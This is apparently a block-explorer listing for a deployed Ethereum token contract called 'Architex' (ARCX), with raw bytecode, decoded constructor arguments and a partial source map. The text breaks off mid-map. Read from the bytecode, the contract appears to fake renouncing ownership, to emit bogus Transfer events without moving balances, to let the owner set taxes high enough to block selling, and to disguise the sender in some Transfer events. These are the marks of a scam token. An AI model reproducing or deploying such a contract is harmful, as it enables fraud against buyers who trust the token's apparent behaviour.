653138393030434146354463633336436236313244634545383836000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044152435800000000000000000000000000000000000000000000000000000000

0x608060405260043610610101575f3560e01c806370a0823111610094578063a8aa1b3111610063578063a8aa1b3114610322578063a9059cbb1461034c578063c9567bf914610388578063dd62ed3e1461039e578063f2fde38b146103da57610108565b806370a082311461027e578063715018a6146102ba5780638c2dabbe146102d057806395d89b41146102f857610108565b806323b872dd116100d057806323b872dd146101c4578063313ce567146102005780634abe30521461022a578063683ad2ec1461025657610108565b806306fdde031461010c578063095ea7b31461013657806318160ddd146101725780631b56bbf91461019c57610108565b3661010857005b5f80fd5b348015610117575f80fd5b50610120610402565b60405161012d91906116ef565b60405180910390f35b348015610141575f80fd5b5061015c600480360381019061015791906117a4565b610491565b60405161016991906117fc565b60405180910390f35b34801561017d575f80fd5b5061018661057e565b6040516101939190611824565b60405180910390f35b3480156101a7575f80fd5b506101c260048036038101906101bd919061183d565b610584565b005b3480156101cf575f80fd5b506101ea60048036038101906101e59190611868565b610633565b6040516101f791906117fc565b60405180910390f35b34801561020b575f80fd5b506102146106d6565b60405161022191906118d3565b60405180910390f35b348015610235575f80fd5b5061023e6106e8565b60405161024d939291906118fb565b60405180910390f35b348015610261575f80fd5b5061027c6004803603810190610277919061195a565b610736565b005b348015610289575f80fd5b506102a4600480360381019061029f919061183d565b6107b0565b6040516102b19190611824565b60405180910390f35b3480156102c5575f80fd5b506102ce6107c5565b005b3480156102db575f80fd5b506102f660048036038101906102f19190611a4e565b6108ae565b005b348015610303575f80fd5b5061030c6109e1565b60405161031991906116ef565b60405180910390f35b34801561032d575f80fd5b50610336610a71565b6040516103439190611adf565b60405180910390f35b348015610357575f80fd5b50610372600480360381019061036d91906117a4565b610a96565b60405161037f91906117fc565b60405180910390f35b348015610393575f80fd5b5061039c610aaa565b005b3480156103a9575f80fd5b506103c460048036038101906103bf9190611af8565b610d00565b6040516103d19190611824565b60405180910390f35b3480156103e5575f80fd5b5061040060048036038101906103fb919061183d565b610d20565b005b60605f805461041090611b63565b80601f016020809104026020016040519081016040528092919081815260200182805461043c90611b63565b80156104875780601f1061045e57610100808354040283529160200191610487565b820191905f5260205f20905b81548152906001019060200180831161046a57829003601f168201915b5050505050905090565b5f8160075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161056c9190611824565b60405180910390a36001905092915050565b60025481565b61058c610e0a565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146105f0576040517f1036e0a800000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8060085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f8160075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546106bb9190611bc0565b925050819055506106cd848484610e34565b90509392505050565b60035f9054906101000a900460ff1681565b6004805f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690805f0160149054906101000a900460ff1690805f0160159054906101000a900460ff16905083565b61073e610e0a565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107a2576040517f1036e0a800000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6107ac8282611627565b5050565b6006602052805f5260405f205f915090505481565b6107cd610e0a565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610831576040517f1036e0a800000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff16600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3565b6108b6610e0a565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461091a576040517f1036e0a800000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f5b848490508110156109d95784848281811061093a57610939611bf3565b5b905060200201602081019061094f919061183d565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8585858181106109b0576109af611bf3565b5b905060200201356040516109c49190611824565b60405180910390a3808060010191505061091c565b505050505050565b6060600180546109f090611b63565b80601f0160208091040260200160405190810160405280929190818152602001828054610a1c90611b63565b8015610a675780601f10610a3e57610100808354040283529160200191610a67565b820191905f5260205f20905b815481529060010190602001808311610a4a57829003601f168201915b5050505050905090565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f610aa2338484610e34565b905092915050565b610ab2610e0a565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ae8575f80fd5b600960159054906101000a900460ff1615610b01575f80fd5b5f60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b6c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b909190611c34565b90505f60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bfd573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c219190611c34565b90505f8273ffffffffffffffffffffffffffffffffffffffff1663e6a4390530846040518363ffffffff1660e01b8152600401610c5f929190611c5f565b602060405180830381865afa158015610c7a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c9e9190611c34565b90508060085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600960156101000a81548160ff021916908315150217905550505050565b6007602052815f5260405f20602052805f5260405f205f91509150505481565b610d28610e0a565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d8c576040517f1036e0a800000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b5f60045f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f80610e3e610e0a565b9050600960159054906101000a900460ff1680610e8657508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80610ebc57508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b610ec4575f80fd5b8260065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610f109190611bc0565b9250508190555060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610f805750600960149054906101000a900460ff16155b8015610fcb575060055460065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b801561100357508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611247576001600960146101000a81548160ff0219169083151502179055505f600267ffffffffffffffff81111561103f5761103e611c86565b5b60405190808252806020026020018201604052801561106d5781602001602082028036833780820191505090505b50905030815f8151811061108457611083611bf3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611128573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061114c9190611c34565b816001815181106111605761115f611bf3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663eb6f61396005545f8430426040518663ffffffff1660e01b81526004016111fe959493929190611dac565b5f604051808303815f87803b158015611215575f80fd5b505af1158015611227573d5f803e3d5ffd5b505050505f600960146101000a81548160ff021916908315150217905550505b5f8060045f0160149054906101000a900460ff1660045f0160159054906101000a900460ff16915091503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16141580156112c0575060011515600960159054906101000a900460ff161515145b156113a1575f606460085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff16146113225783611324565b825b60ff16876113329190611e04565b61133c9190611e72565b9050808661134a9190611bc0565b95508060065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546113989190611ea2565b92505081905550505b8460065f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546113ed9190611ea2565b92505081905550600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16036114d3578573ffffffffffffffffffffffffffffffffffffffff16600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516114c69190611824565b60405180910390a3611619565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036115b257600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516115a59190611824565b60405180910390a3611618565b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8760405161160f9190611824565b60405180910390a35b5b600193505050509392505050565b8160045f0160146101000a81548160ff021916908360ff1602179055508060045f0160156101000a81548160ff021916908360ff1602179055505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561169c578082015181840152602081019050611681565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6116c182611665565b6116cb818561166f565b93506116db81856020860161167f565b6116e4816116a7565b840191505092915050565b5f6020820190508181035f83015261170781846116b7565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61174082611717565b9050919050565b61175081611736565b811461175a575f80fd5b50565b5f8135905061176b81611747565b92915050565b5f819050919050565b61178381611771565b811461178d575f80fd5b50565b5f8135905061179e8161177a565b92915050565b5f80604083850312156117ba576117b961170f565b5b5f6117c78582860161175d565b92505060206117d885828601611790565b9150509250929050565b5f8115159050919050565b6117f6816117e2565b82525050565b5f60208201905061180f5f8301846117ed565b92915050565b61181e81611771565b82525050565b5f6020820190506118375f830184611815565b92915050565b5f602082840312156118525761185161170f565b5b5f61185f8482850161175d565b91505092915050565b5f805f6060848603121561187f5761187e61170f565b5b5f61188c8682870161175d565b935050602061189d8682870161175d565b92505060406118ae86828701611790565b9150509250925092565b5f60ff82169050919050565b6118cd816118b8565b82525050565b5f6020820190506118e65f8301846118c4565b92915050565b6118f581611736565b82525050565b5f60608201905061190e5f8301866118ec565b61191b60208301856118c4565b61192860408301846118c4565b949350505050565b611939816118b8565b8114611943575f80fd5b50565b5f8135905061195481611930565b92915050565b5f80604083850312156119705761196f61170f565b5b5f61197d85828601611946565b925050602061198e85828601611946565b9150509250929050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f8401126119b9576119b8611998565b5b8235905067ffffffffffffffff8111156119d6576119d561199c565b5b6020830191508360208202830111156119f2576119f16119a0565b5b9250929050565b5f8083601f840112611a0e57611a0d611998565b5b8235905067ffffffffffffffff811115611a2b57611a2a61199c565b5b602083019150836020820283011115611a4757611a466119a0565b5b9250929050565b5f805f805f60608688031215611a6757611a6661170f565b5b5f611a748882890161175d565b955050602086013567ffffffffffffffff811115611a9557611a94611713565b5b611aa1888289016119a4565b9450945050604086013567ffffffffffffffff811115611ac457611ac3611713565b5b611ad0888289016119f9565b92509250509295509295909350565b5f602082019050611af25f8301846118ec565b92915050565b5f8060408385031215611b0e57611b0d61170f565b5b5f611b1b8582860161175d565b9250506020611b2c8582860161175d565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611b7a57607f821691505b602082108103611b8d57611b8c611b36565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611bca82611771565b9150611bd583611771565b9250828203905081811115611bed57611bec611b93565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050611c2e81611747565b92915050565b5f60208284031215611c4957611c4861170f565b5b5f611c5684828501611c20565b91505092915050565b5f604082019050611c725f8301856118ec565b611c7f60208301846118ec565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f819050919050565b5f819050919050565b5f611cdf611cda611cd584611cb3565b611cbc565b611771565b9050919050565b611cef81611cc5565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611d2781611736565b82525050565b5f611d388383611d1e565b60208301905092915050565b5f602082019050919050565b5f611d5a82611cf5565b611d648185611cff565b9350611d6f83611d0f565b805f5b83811015611d9f578151611d868882611d2d565b9750611d9183611d44565b925050600181019050611d72565b5085935050505092915050565b5f60a082019050611dbf5f830188611815565b611dcc6020830187611ce6565b8181036040830152611dde8186611d50565b9050611ded60608301856118ec565b611dfa6080830184611815565b9695505050505050565b5f611e0e82611771565b9150611e1983611771565b9250828202611e2781611771565b91508282048414831517611e3e57611e3d611b93565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611e7c82611771565b9150611e8783611771565b925082611e9757611e96611e45565b5b828204905092915050565b5f611eac82611771565b9150611eb783611771565b9250828201905080821115611ecf57611ece611b93565b5b9291505056fea26469706673582212209cd084fb80a4c3545dd1cb3eb506f73f8b03c2f86405d94e88a6b33f4c82ac4464736f6c63430008180033

00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000180000000000000000000000000000000000000000000000000000000000098968000000000000000000000000000000000000000000000000000000000000000e94172636869746578202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020307838453464323764373732303939653138393030434146354463633336436236313244634545383836000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044152435800000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): Architex                                                                                                                                                                                       0x8E4d27d772099e18900CAF5Dcc36Cb612DcEE886
Arg [1] : symbol_ (string): ARCX
Arg [2] : totalSupply_ (uint256): 10000000

-----Encoded View---------------
14 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000180
Arg [2] : 0000000000000000000000000000000000000000000000000000000000989680
Arg [3] : 00000000000000000000000000000000000000000000000000000000000000e9
Arg [4] : 4172636869746578202020202020202020202020202020202020202020202020
Arg [5] : 2020202020202020202020202020202020202020202020202020202020202020
Arg [6] : 2020202020202020202020202020202020202020202020202020202020202020
Arg [7] : 2020202020202020202020202020202020202020202020202020202020202020
Arg [8] : 2020202020202020202020202020202020202020202020202020202020202020
Arg [9] : 2020202020202020202020202020202020202020202020202020202020202030
Arg [10] : 7838453464323764373732303939653138393030434146354463633336436236
Arg [11] : 3132446345453838360000000000000000000000000000000000000000000000
Arg [12] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [13] : 4152435800000000000000000000000000000000000000000000000000000000

1633:6283:1:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5944:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5592:207;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1716:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4102:132;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5361:223;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1749:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1985;;;;;;;;;;;;;:::i;:::-;;;;;;;;;:::i;:::-;;;;;;;;4242:160;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2406:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3748:162;;;;;;;;;;;;;:::i;:::-;;4410:334;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6043:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2530:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5807:129;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4999:354;;;;;;;;;;;;;:::i;:::-;;2457:64;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3918:176;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5944:91;5989:13;6022:5;6015:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5944:91;:::o;5592:207::-;5660:4;5710:6;5677:9;:21;5687:10;5677:21;;;;;;;;;;;;;;;:30;5699:7;5677:30;;;;;;;;;;;;;;;:39;;;;5753:7;5732:37;;5741:10;5732:37;;;5762:6;5732:37;;;;;;:::i;:::-;;;;;;;;5787:4;5780:11;;5592:207;;;;:::o;1716:26::-;;;;:::o;4102:132::-;4175:8;:6;:8::i;:::-;4161:22;;:10;:22;;;4157:46;;4192:11;;;;;;;;;;;;;;4157:46;4221:5;4214:4;;:12;;;;;;;;;;;;;;;;;;4102:132;:::o;5361:223::-;5477:4;5525:6;5494:9;:15;5504:4;5494:15;;;;;;;;;;;;;;;:27;5510:10;5494:27;;;;;;;;;;;;;;;;:37;;;;;;;:::i;:::-;;;;;;;;5549:27;5559:4;5565:2;5569:6;5549:9;:27::i;:::-;5542:34;;5361:223;;;;;:::o;1749:26::-;;;;;;;;;;;;;:::o;1985:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;4242:160::-;4325:8;:6;:8::i;:::-;4311:22;;:10;:22;;;4307:46;;4342:11;;;;;;;;;;;;;;4307:46;4364:30;4382:4;4388:5;4364:17;:30::i;:::-;4242:160;;:::o;2406:44::-;;;;;;;;;;;;;;;;;:::o;3748:162::-;3815:8;:6;:8::i;:::-;3801:22;;:10;:22;;;3797:46;;3832:11;;;;;;;;;;;;;;3797:46;3899:1;3859:43;;3880:9;;;;;;;;;;;3859:43;;;;;;;;;;;;3748:162::o;4410:334::-;4578:8;:6;:8::i;:::-;4564:22;;:10;:22;;;4560:46;;4595:11;;;;;;;;;;;;;;4560:46;4622:9;4617:120;4641:8;;:15;;4637:1;:19;4617:120;;;4701:8;;4710:1;4701:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;4683:42;;4692:7;4683:42;;;4714:7;;4722:1;4714:10;;;;;;;:::i;:::-;;;;;;;;4683:42;;;;;;:::i;:::-;;;;;;;;4658:3;;;;;;;4617:120;;;;4410:334;;;;;:::o;6043:95::-;6090:13;6123:7;6116:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6043:95;:::o;2530:19::-;;;;;;;;;;;;;:::o;5807:129::-;5871:4;5895:33;5905:10;5917:2;5921:6;5895:9;:33::i;:::-;5888:40;;5807:129;;;;:::o;4999:354::-;5064:8;:6;:8::i;:::-;5050:22;;:10;:22;;;5042:31;;;;;;5093:11;;;;;;;;;;;5092:12;5084:21;;;;;;5116:16;5135;;;;;;;;;;;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5116:45;;5172:13;5188:16;;;;;;;;;;;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5172:39;;5222:13;5254:8;5238:33;;;5280:4;5287:5;5238:55;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5222:71;;5311:5;5304:4;;:12;;;;;;;;;;;;;;;;;;5341:4;5327:11;;:18;;;;;;;;;;;;;;;;;;5031:322;;;4999:354::o;2457:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3918:176::-;4001:8;:6;:8::i;:::-;3987:22;;:10;:22;;;3983:46;;4018:11;;;;;;;;;;;;;;3983:46;4077:8;4045:41;;4066:9;;;;;;;;;;;4045:41;;;;;;;;;;;;3918:176;:::o;4898:93::-;4938:7;4965:9;:18;;;;;;;;;;;;4958:25;;4898:93;:::o;6295:1618::-;6408:4;6425:16;6444:8;:6;:8::i;:::-;6425:27;;6471:11;;;;;;;;;;;:31;;;;6494:8;6486:16;;:4;:16;;;6471:31;:49;;;;6512:8;6506:14;;:2;:14;;;6471:49;6463:58;;;;;;6553:6;6534:9;:15;6544:4;6534:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;6596:4;;;;;;;;;;;6590:10;;:2;:10;;;:36;;;;;6618:8;;;;;;;;;;;6617:9;6590:36;:91;;;;;6671:10;;6643:9;:24;6661:4;6643:24;;;;;;;;;;;;;;;;:38;;6590:91;:124;;;;;6706:8;6698:16;;:4;:16;;;;6590:124;6572:650;;;6752:4;6741:8;;:15;;;;;;;;;;;;;;;;;;6771:21;6809:1;6795:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6771:40;;6844:4;6826;6831:1;6826:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;6874:16;;;;;;;;;;;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6864:4;6869:1;6864:7;;;;;;;;:::i;:::-;;;;;;;:33;;;;;;;;;;;6912:16;;;;;;;;;;;:88;;;7023:10;;7056:1;7080:4;7115;7143:15;6912:265;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7205:5;7194:8;;:16;;;;;;;;;;;;;;;;;;6726:496;6572:650;7235:13;7250:14;7269:9;:16;;;;;;;;;;;;7287:9;:17;;;;;;;;;;;;7234:71;;;;7336:4;7320:21;;:4;:21;;;;:44;;;;;7360:4;7345:19;;:11;;;;;;;;;;;:19;;;7320:44;7316:280;;;7381:27;7475:3;7445:4;;;;;;;;;;;7439:10;;:2;:10;;;:31;;7463:7;7439:31;;;7452:8;7439:31;7412:59;;:6;:59;;;;:::i;:::-;7411:67;;;;:::i;:::-;7381:97;;7503:19;7493:29;;;;;:::i;:::-;;;7565:19;7537:9;:24;7555:4;7537:24;;;;;;;;;;;;;;;;:47;;;;;;;:::i;:::-;;;;;;;;7366:230;7316:280;7623:6;7606:9;:13;7616:2;7606:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;7654:9;;;;;;;;;;;7646:17;;:4;:17;;;7642:242;;7705:2;7685:31;;7694:9;;;;;;;;;;;7685:31;;;7709:6;7685:31;;;;;;:::i;:::-;;;;;;;;7642:242;;;7744:9;;;;;;;;;;;7738:15;;:2;:15;;;7734:150;;7790:9;;;;;;;;;;;7775:33;;7784:4;7775:33;;;7801:6;7775:33;;;;;;:::i;:::-;;;;;;;;7734:150;;;7861:2;7846:26;;7855:4;7846:26;;;7865:6;7846:26;;;;;;:::i;:::-;;;;;;;;7734:150;7642:242;7901:4;7894:11;;;;;6295:1618;;;;;:::o;4752:138::-;4842:4;4823:9;:16;;;:23;;;;;;;;;;;;;;;;;;4877:5;4857:9;:17;;;:25;;;;;;;;;;;;;;;;;;4752:138;;:::o;7:99:13:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:329::-;3857:6;3906:2;3894:9;3885:7;3881:23;3877:32;3874:119;;;3912:79;;:::i;:::-;3874:119;4032:1;4057:53;4102:7;4093:6;4082:9;4078:22;4057:53;:::i;:::-;4047:63;;4003:117;3798:329;;;;:::o;4133:619::-;4210:6;4218;4226;4275:2;4263:9;4254:7;4250:23;4246:32;4243:119;;;4281:79;;:::i;:::-;4243:119;4401:1;4426:53;4471:7;4462:6;4451:9;4447:22;4426:53;:::i;:::-;4416:63;;4372:117;4528:2;4554:53;4599:7;4590:6;4579:9;4575:22;4554:53;:::i;:::-;4544:63;;4499:118;4656:2;4682:53;4727:7;4718:6;4707:9;4703:22;4682:53;:::i;:::-;4672:63;;4627:118;4133:619;;;;;:::o;4758:86::-;4793:7;4833:4;4826:5;4822:16;4811:27;;4758:86;;;:::o;4